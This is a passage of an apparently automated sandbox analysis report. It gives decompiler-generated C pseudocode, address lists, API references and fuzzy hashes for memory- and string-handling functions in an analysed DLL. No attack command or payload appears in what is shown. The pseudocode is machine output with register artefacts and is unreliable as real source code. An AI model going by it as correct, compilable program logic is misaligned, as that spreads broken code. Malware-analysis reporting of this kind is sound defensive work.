                                                                                                                					_t44 = _t44 - 1;
                                                                                                                					_t43 = _t43 - 0x20;
                                                                                                                				} while (_t44 >= 0);
                                                                                                                				return GlobalFree(_t40);
                                                                                                                			}











                                                                                                                0x7069265f
                                                                                                                0x70692661
                                                                                                                0x70692665
                                                                                                                0x70692674
                                                                                                                0x70692678
                                                                                                                0x7069267d
                                                                                                                0x7069267d
                                                                                                                0x70692685
                                                                                                                0x7069268c
                                                                                                                0x70692692
                                                                                                                0x00000000
                                                                                                                0x70692699
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706926a1
                                                                                                                0x706926a5
                                                                                                                0x706926a8
                                                                                                                0x706926ac
                                                                                                                0x706926b3
                                                                                                                0x706926b7
                                                                                                                0x706926bd
                                                                                                                0x706926bf
                                                                                                                0x706926c1
                                                                                                                0x706926c1
                                                                                                                0x706926c8
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706926d1
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706926d8
                                                                                                                0x706926de
                                                                                                                0x706926e8
                                                                                                                0x706926ee
                                                                                                                0x706926f3
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692714
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706926fa
                                                                                                                0x70692700
                                                                                                                0x70692701
                                                                                                                0x70692703
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069271c
                                                                                                                0x7069271e
                                                                                                                0x70692724
                                                                                                                0x7069272a
                                                                                                                0x7069272a
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692692
                                                                                                                0x7069272d
                                                                                                                0x7069272d
                                                                                                                0x70692732
                                                                                                                0x70692743
                                                                                                                0x70692743
                                                                                                                0x70692749
                                                                                                                0x7069274e
                                                                                                                0x70692753
                                                                                                                0x7069275f
                                                                                                                0x70692764
                                                                                                                0x00000000
                                                                                                                0x70692769
                                                                                                                0x70692755
                                                                                                                0x70692756
                                                                                                                0x7069276a
                                                                                                                0x7069276a
                                                                                                                0x70692753
                                                                                                                0x7069276b
                                                                                                                0x7069276c
                                                                                                                0x7069276f
                                                                                                                0x70692783

                                                                                                                APIs
                                                                                                                  • Part of subcall function 706912BB: GlobalAlloc.KERNELBASE(00000040,?,706912DB,?,7069137F,00000019,706911CA,-000000A0), ref: 706912C5
                                                                                                                • GlobalFree.KERNEL32(?), ref: 70692743
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 70692778
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$Free$Alloc
                                                                                                                • String ID:
                                                                                                                • API String ID: 1780285237-0
                                                                                                                • Opcode ID: 6ea7d8f3b418f4bb0fed9a46ccbdaddfcdc7c00d86275ea692cf23df7b4d8a4a
                                                                                                                • Instruction ID: 2a7d3c00b2165adddd6d03c2697f0b34cebdec898a5718ce211cedb08ffd992f
                                                                                                                • Opcode Fuzzy Hash: 6ea7d8f3b418f4bb0fed9a46ccbdaddfcdc7c00d86275ea692cf23df7b4d8a4a
                                                                                                                • Instruction Fuzzy Hash: 0531C172124102DFC7169F95CDF8D6E77BBEB85340322452EF201ABEA0C7716845DB69
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 85%
                                                                                                                			E70692480(void* __edx) {
                                                                                                                				void* _t37;
                                                                                                                				signed int _t38;
                                                                                                                				void* _t39;
                                                                                                                				void* _t41;
                                                                                                                				signed char* _t42;
                                                                                                                				signed char* _t51;
                                                                                                                				void* _t52;
                                                                                                                				void* _t54;
                                                                                                                
                                                                                                                				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
                                                                                                                				while(1) {
                                                                                                                					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
                                                                                                                					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
                                                                                                                					_t52 = _t51[0x18];
                                                                                                                					if(_t52 == 0) {
                                                                                                                						goto L9;
                                                                                                                					}
                                                                                                                					_t41 = 0x1a;
                                                                                                                					if(_t52 == _t41) {
                                                                                                                						goto L9;
                                                                                                                					}
                                                                                                                					if(_t52 != 0xffffffff) {
                                                                                                                						if(_t52 <= 0 || _t52 > 0x19) {
                                                                                                                							_t51[0x18] = _t41;
                                                                                                                							goto L12;
                                                                                                                						} else {
                                                                                                                							_t37 = E7069135A(_t52 - 1);
                                                                                                                							L10:
                                                                                                                							goto L11;
                                                                                                                						}
                                                                                                                					} else {
                                                                                                                						_t37 = E706912E3();
                                                                                                                						L11:
                                                                                                                						_t52 = _t37;
                                                                                                                						L12:
                                                                                                                						_t13 =  &(_t51[8]); // 0x1020
                                                                                                                						_t42 = _t13;
                                                                                                                						if(_t51[4] >= 0) {
                                                                                                                						}
                                                                                                                						_t38 =  *_t51 & 0x000000ff;
                                                                                                                						_t51[0x1c] = 0;
                                                                                                                						if(_t38 > 7) {
                                                                                                                							L27:
                                                                                                                							_t39 = GlobalFree(_t52);
                                                                                                                							if( *(_t54 + 0x10) == 0) {
                                                                                                                								return _t39;
                                                                                                                							}
                                                                                                                							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
                                                                                                                								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
                                                                                                                							} else {
                                                                                                                								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
                                                                                                                							}
                                                                                                                							continue;
                                                                                                                						} else {
                                                                                                                							switch( *((intOrPtr*)(_t38 * 4 +  &M706925F8))) {
                                                                                                                								case 0:
                                                                                                                									 *_t42 = 0;
                                                                                                                									goto L27;
                                                                                                                								case 1:
                                                                                                                									__eax = E706913B1(__ebp);
                                                                                                                									goto L21;
                                                                                                                								case 2:
                                                                                                                									 *__edi = E706913B1(__ebp);
                                                                                                                									__edi[1] = __edx;
                                                                                                                									goto L27;
                                                                                                                								case 3:
                                                                                                                									__eax = GlobalAlloc(0x40,  *0x7069506c);
                                                                                                                									 *(__esi + 0x1c) = __eax;
                                                                                                                									__edx = 0;
                                                                                                                									 *__edi = __eax;
                                                                                                                									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x7069506c, __eax,  *0x7069506c, 0, 0);
                                                                                                                									goto L27;
                                                                                                                								case 4:
                                                                                                                									__eax = E706912CC(__ebp);
                                                                                                                									 *(__esi + 0x1c) = __eax;
                                                                                                                									L21:
                                                                                                                									 *__edi = __eax;
                                                                                                                									goto L27;
                                                                                                                								case 5:
                                                                                                                									__eax = GlobalAlloc(0x40, 0x10);
                                                                                                                									_push(__eax);
                                                                                                                									 *(__esi + 0x1c) = __eax;
                                                                                                                									_push(__ebp);
                                                                                                                									 *__edi = __eax;
                                                                                                                									__imp__CLSIDFromString();
                                                                                                                									goto L27;
                                                                                                                								case 6:
                                                                                                                									if( *__ebp != __cx) {
                                                                                                                										__eax = E706913B1(__ebp);
                                                                                                                										 *__ebx = __eax;
                                                                                                                									}
                                                                                                                									goto L27;
                                                                                                                								case 7:
                                                                                                                									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
                                                                                                                									( *(__esi + 0x18) - 1) *  *0x7069506c =  *0x70695074 + ( *(__esi + 0x18) - 1) *  *0x7069506c * 2 + 0x18;
                                                                                                                									 *__ebx =  *0x70695074 + ( *(__esi + 0x18) - 1) *  *0x7069506c * 2 + 0x18;
                                                                                                                									asm("cdq");
                                                                                                                									__eax = E70691510(__edx,  *0x70695074 + ( *(__esi + 0x18) - 1) *  *0x7069506c * 2 + 0x18, __edx,  *0x70695074 + ( *(__esi + 0x18) - 1) *  *0x7069506c * 2);
                                                                                                                									goto L27;
                                                                                                                							}
                                                                                                                						}
                                                                                                                					}
                                                                                                                					L9:
                                                                                                                					_t37 = E706912CC(0x70695044);
                                                                                                                					goto L10;
                                                                                                                				}
                                                                                                                			}











                                                                                                                0x70692494
                                                                                                                0x70692498
                                                                                                                0x706924a3
                                                                                                                0x706924a3
                                                                                                                0x706924aa
                                                                                                                0x706924af
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706924b3
                                                                                                                0x706924b6
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706924bb
                                                                                                                0x706924c6
                                                                                                                0x706924d6
                                                                                                                0x00000000
                                                                                                                0x706924cd
                                                                                                                0x706924cf
                                                                                                                0x706924e5
                                                                                                                0x00000000
                                                                                                                0x706924e5
                                                                                                                0x706924bd
                                                                                                                0x706924bd
                                                                                                                0x706924e6
                                                                                                                0x706924e6
                                                                                                                0x706924e8
                                                                                                                0x706924ec
                                                                                                                0x706924ec
                                                                                                                0x706924ef
                                                                                                                0x706924ef
                                                                                                                0x706924f7
                                                                                                                0x706924ff
                                                                                                                0x70692502
                                                                                                                0x706925c1
                                                                                                                0x706925c2
                                                                                                                0x706925cd
                                                                                                                0x706925f7
                                                                                                                0x706925f7
                                                                                                                0x706925dd
                                                                                                                0x706925e9
                                                                                                                0x706925df
                                                                                                                0x706925df
                                                                                                                0x706925df
                                                                                                                0x00000000
                                                                                                                0x70692508
                                                                                                                0x70692508
                                                                                                                0x00000000
                                                                                                                0x7069250f
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692517
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692525
                                                                                                                0x70692527
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692548
                                                                                                                0x7069254e
                                                                                                                0x70692551
                                                                                                                0x70692553
                                                                                                                0x70692563
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692530
                                                                                                                0x70692535
                                                                                                                0x70692538
                                                                                                                0x70692539
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069256f
                                                                                                                0x70692575
                                                                                                                0x70692576
                                                                                                                0x70692579
                                                                                                                0x7069257a
                                                                                                                0x7069257c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692588
                                                                                                                0x7069258b
                                                                                                                0x70692597
                                                                                                                0x70692599
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706925a5
                                                                                                                0x706925b1
                                                                                                                0x706925b4
                                                                                                                0x706925b6
                                                                                                                0x706925b9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692508
                                                                                                                0x70692502
                                                                                                                0x706924db
                                                                                                                0x706924e0
                                                                                                                0x00000000
                                                                                                                0x706924e0

                                                                                                                APIs
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 706925C2
                                                                                                                  • Part of subcall function 706912CC: lstrcpynW.KERNEL32(00000000,?,7069137F,00000019,706911CA,-000000A0), ref: 706912DC
                                                                                                                • GlobalAlloc.KERNEL32(00000040), ref: 70692548
                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70692563
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
                                                                                                                • String ID:
                                                                                                                • API String ID: 4216380887-0
                                                                                                                • Opcode ID: a67b8040d2077ce2c0e6c9e149f9d479eb93346e098ae03bcbd7aebc86c2851f
                                                                                                                • Instruction ID: 55965ee7e65585cedf50190b2e957c010b9d5c936f53643754f2da55d0f73bd7
                                                                                                                • Opcode Fuzzy Hash: a67b8040d2077ce2c0e6c9e149f9d479eb93346e098ae03bcbd7aebc86c2851f
                                                                                                                • Instruction Fuzzy Hash: 9641CAB1028306DFC714DF24D874A6E77FAFB44710B22891EE5468AEC0EB30A544DBA9
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E706916BD(struct HINSTANCE__* _a4, short* _a8) {
                                                                                                                				_Unknown_base(*)()* _t7;
                                                                                                                				void* _t10;
                                                                                                                				int _t14;
                                                                                                                
                                                                                                                				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
                                                                                                                				_t10 = GlobalAlloc(0x40, _t14);
                                                                                                                				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
                                                                                                                				_t7 = GetProcAddress(_a4, _t10);
                                                                                                                				GlobalFree(_t10);
                                                                                                                				return _t7;
                                                                                                                			}






                                                                                                                0x706916d7
                                                                                                                0x706916e3
                                                                                                                0x706916f0
                                                                                                                0x706916f7
                                                                                                                0x70691700
                                                                                                                0x7069170c

                                                                                                                APIs
                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,706922D8,?,00000808), ref: 706916D5
                                                                                                                • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,706922D8,?,00000808), ref: 706916DC
                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,706922D8,?,00000808), ref: 706916F0
                                                                                                                • GetProcAddress.KERNEL32(706922D8,00000000), ref: 706916F7
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 70691700
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                                                                                                • String ID:
                                                                                                                • API String ID: 1148316912-0
                                                                                                                • Opcode ID: 33695d7879863d94390101960b342fef7388ac327f14ffbc78b1cdaca3437e1b
                                                                                                                • Instruction ID: eb793ac415465d57c67ca0be007d02a4fe510e165cb6567acd9dbe1500c98f00
                                                                                                                • Opcode Fuzzy Hash: 33695d7879863d94390101960b342fef7388ac327f14ffbc78b1cdaca3437e1b
                                                                                                                • Instruction Fuzzy Hash: D8F0A2731161387BD6211BA78C5CD9B7E9CDF8B2F5B110216F718A15A085615D01D7F1
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 91%
                                                                                                                			E706910E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
                                                                                                                				void* _v0;
                                                                                                                				void* _t27;
                                                                                                                				signed int _t29;
                                                                                                                				void* _t30;
                                                                                                                				void* _t34;
                                                                                                                				void* _t36;
                                                                                                                				void* _t38;
                                                                                                                				void* _t40;
                                                                                                                				void* _t48;
                                                                                                                				void* _t54;
                                                                                                                				void* _t63;
                                                                                                                				void* _t64;
                                                                                                                				signed int _t66;
                                                                                                                				void* _t67;
                                                                                                                				void* _t73;
                                                                                                                				void* _t74;
                                                                                                                				void* _t77;
                                                                                                                				void* _t80;
                                                                                                                				void _t81;
                                                                                                                				void _t82;
                                                                                                                				intOrPtr _t84;
                                                                                                                				void* _t86;
                                                                                                                				void* _t88;
                                                                                                                
                                                                                                                				 *0x7069506c = _a8;
                                                                                                                				 *0x70695070 = _a16;
                                                                                                                				 *0x70695074 = _a12;
                                                                                                                				_a12( *0x70695048, E70691651, _t73);
                                                                                                                				_t66 =  *0x7069506c +  *0x7069506c * 4 << 3;
                                                                                                                				_t27 = E706912E3();
                                                                                                                				_v0 = _t27;
                                                                                                                				_t74 = _t27;
                                                                                                                				if( *_t27 == 0) {
                                                                                                                					L28:
                                                                                                                					return GlobalFree(_t27);
                                                                                                                				}
                                                                                                                				do {
                                                                                                                					_t29 =  *_t74 & 0x0000ffff;
                                                                                                                					_t67 = 2;
                                                                                                                					_t74 = _t74 + _t67;
                                                                                                                					_t88 = _t29 - 0x66;
                                                                                                                					if(_t88 > 0) {
                                                                                                                						_t30 = _t29 - 0x6c;
                                                                                                                						if(_t30 == 0) {
                                                                                                                							L23:
                                                                                                                							_t31 =  *0x70695040;
                                                                                                                							if( *0x70695040 == 0) {
                                                                                                                								goto L26;
                                                                                                                							}
                                                                                                                							E70691603( *0x70695074, _t31 + 4, _t66);
                                                                                                                							_t34 =  *0x70695040;
                                                                                                                							_t86 = _t86 + 0xc;
                                                                                                                							 *0x70695040 =  *_t34;
                                                                                                                							L25:
                                                                                                                							GlobalFree(_t34);
                                                                                                                							goto L26;
                                                                                                                						}
                                                                                                                						_t36 = _t30 - 4;
                                                                                                                						if(_t36 == 0) {
                                                                                                                							L13:
                                                                                                                							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
                                                                                                                							_t74 = _t74 + _t67;
                                                                                                                							_t34 = E70691312(E7069135A(_t38));
                                                                                                                							L14:
                                                                                                                							goto L25;
                                                                                                                						}
                                                                                                                						_t40 = _t36 - _t67;
                                                                                                                						if(_t40 == 0) {
                                                                                                                							L11:
                                                                                                                							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
                                                                                                                							_t74 = _t74 + _t67;
                                                                                                                							_t34 = E70691381(_t80, E706912E3());
                                                                                                                							goto L14;
                                                                                                                						}
                                                                                                                						L8:
                                                                                                                						if(_t40 == 1) {
                                                                                                                							_t81 = GlobalAlloc(0x40, _t66 + 4);
                                                                                                                							_t10 = _t81 + 4; // 0x4
                                                                                                                							E70691603(_t10,  *0x70695074, _t66);
                                                                                                                							_t86 = _t86 + 0xc;
                                                                                                                							 *_t81 =  *0x70695040;
                                                                                                                							 *0x70695040 = _t81;
                                                                                                                						}
                                                                                                                						goto L26;
                                                                                                                					}
                                                                                                                					if(_t88 == 0) {
                                                                                                                						_t48 =  *0x70695070;
                                                                                                                						_t77 =  *_t48;
                                                                                                                						 *_t48 =  *_t77;
                                                                                                                						_t49 = _v0;
                                                                                                                						_t84 =  *((intOrPtr*)(_v0 + 0xc));
                                                                                                                						if( *((short*)(_t77 + 4)) == 0x2691) {
                                                                                                                							E70691603(_t49, _t77 + 8, 0x38);
                                                                                                                							_t86 = _t86 + 0xc;
                                                                                                                						}
                                                                                                                						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
                                                                                                                						GlobalFree(_t77);
                                                                                                                						goto L26;
                                                                                                                					}
                                                                                                                					_t54 = _t29 - 0x46;
                                                                                                                					if(_t54 == 0) {
                                                                                                                						_t82 = GlobalAlloc(0x40,  *0x7069506c +  *0x7069506c + 8);
                                                                                                                						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
                                                                                                                						_t14 = _t82 + 8; // 0x8
                                                                                                                						E70691603(_t14, _v0, 0x38);
                                                                                                                						_t86 = _t86 + 0xc;
                                                                                                                						 *_t82 =  *( *0x70695070);
                                                                                                                						 *( *0x70695070) = _t82;
                                                                                                                						goto L26;
                                                                                                                					}
                                                                                                                					_t63 = _t54 - 6;
                                                                                                                					if(_t63 == 0) {
                                                                                                                						goto L23;
                                                                                                                					}
                                                                                                                					_t64 = _t63 - 4;
                                                                                                                					if(_t64 == 0) {
                                                                                                                						 *_t74 =  *_t74 + 0xa;
                                                                                                                						goto L13;
                                                                                                                					}
                                                                                                                					_t40 = _t64 - _t67;
                                                                                                                					if(_t40 == 0) {
                                                                                                                						 *_t74 =  *_t74 + 0xa;
                                                                                                                						goto L11;
                                                                                                                					}
                                                                                                                					goto L8;
                                                                                                                					L26:
                                                                                                                				} while ( *_t74 != 0);
                                                                                                                				_t27 = _v0;
                                                                                                                				goto L28;
                                                                                                                			}


























                                                                                                                0x706910eb
                                                                                                                0x70691100
                                                                                                                0x70691109
                                                                                                                0x7069110e
                                                                                                                0x70691119
                                                                                                                0x7069111c
                                                                                                                0x70691125
                                                                                                                0x70691129
                                                                                                                0x7069112b
                                                                                                                0x706912b0
                                                                                                                0x706912ba
                                                                                                                0x706912ba
                                                                                                                0x70691132
                                                                                                                0x70691132
                                                                                                                0x70691137
                                                                                                                0x70691138
                                                                                                                0x7069113a
                                                                                                                0x7069113d
                                                                                                                0x70691256
                                                                                                                0x70691259
                                                                                                                0x70691271
                                                                                                                0x70691271
                                                                                                                0x70691278
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691285
                                                                                                                0x7069128a
                                                                                                                0x7069128f
                                                                                                                0x70691294
                                                                                                                0x7069129a
                                                                                                                0x7069129b
                                                                                                                0x00000000
                                                                                                                0x7069129b
                                                                                                                0x7069125b
                                                                                                                0x7069125e
                                                                                                                0x706911bc
                                                                                                                0x706911bf
                                                                                                                0x706911c2
                                                                                                                0x706911cb
                                                                                                                0x706911d0
                                                                                                                0x00000000
                                                                                                                0x706911d1
                                                                                                                0x70691264
                                                                                                                0x70691266
                                                                                                                0x706911a2
                                                                                                                0x706911a5
                                                                                                                0x706911a8
                                                                                                                0x706911b1
                                                                                                                0x00000000
                                                                                                                0x706911b1
                                                                                                                0x70691164
                                                                                                                0x70691165
                                                                                                                0x70691177
                                                                                                                0x70691180
                                                                                                                0x70691184
                                                                                                                0x7069118e
                                                                                                                0x70691191
                                                                                                                0x70691193
                                                                                                                0x70691193
                                                                                                                0x00000000
                                                                                                                0x70691165
                                                                                                                0x70691143
                                                                                                                0x70691218
                                                                                                                0x7069121d
                                                                                                                0x70691221
                                                                                                                0x70691223
                                                                                                                0x7069122c
                                                                                                                0x7069122f
                                                                                                                0x70691238
                                                                                                                0x7069123d
                                                                                                                0x7069123d
                                                                                                                0x70691247
                                                                                                                0x7069124a
                                                                                                                0x00000000
                                                                                                                0x70691250
                                                                                                                0x70691149
                                                                                                                0x7069114c
                                                                                                                0x706911e9
                                                                                                                0x706911ed
                                                                                                                0x706911f7
                                                                                                                0x706911fb
                                                                                                                0x70691205
                                                                                                                0x7069120a
                                                                                                                0x70691211
                                                                                                                0x00000000
                                                                                                                0x70691211
                                                                                                                0x70691152
                                                                                                                0x70691155
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069115b
                                                                                                                0x7069115e
                                                                                                                0x706911b8
                                                                                                                0x00000000
                                                                                                                0x706911b8
                                                                                                                0x70691160
                                                                                                                0x70691162
                                                                                                                0x7069119e
                                                                                                                0x00000000
                                                                                                                0x7069119e
                                                                                                                0x00000000
                                                                                                                0x706912a1
                                                                                                                0x706912a1
                                                                                                                0x706912ab
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • GlobalAlloc.KERNEL32(00000040,?), ref: 70691171
                                                                                                                • GlobalAlloc.KERNEL32(00000040,?), ref: 706911E3
                                                                                                                • GlobalFree.KERNEL32 ref: 7069124A
                                                                                                                • GlobalFree.KERNEL32(?), ref: 7069129B
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 706912B1
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$Free$Alloc
                                                                                                                • String ID:
                                                                                                                • API String ID: 1780285237-0
                                                                                                                • Opcode ID: 057ade03243338336711e8d17a3463a72772197e292d12422630e70d7877e834
                                                                                                                • Instruction ID: 60f1bec964dc785b54c5ba26e5c3b529b6cd589a64ad0987acc35485d7cf6b49
                                                                                                                • Opcode Fuzzy Hash: 057ade03243338336711e8d17a3463a72772197e292d12422630e70d7877e834
                                                                                                                • Instruction Fuzzy Hash: 8C518EB6920201DFD7009F69CC69A6977B8EB04315B30411EF906EFBA4E730AA50CB58
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%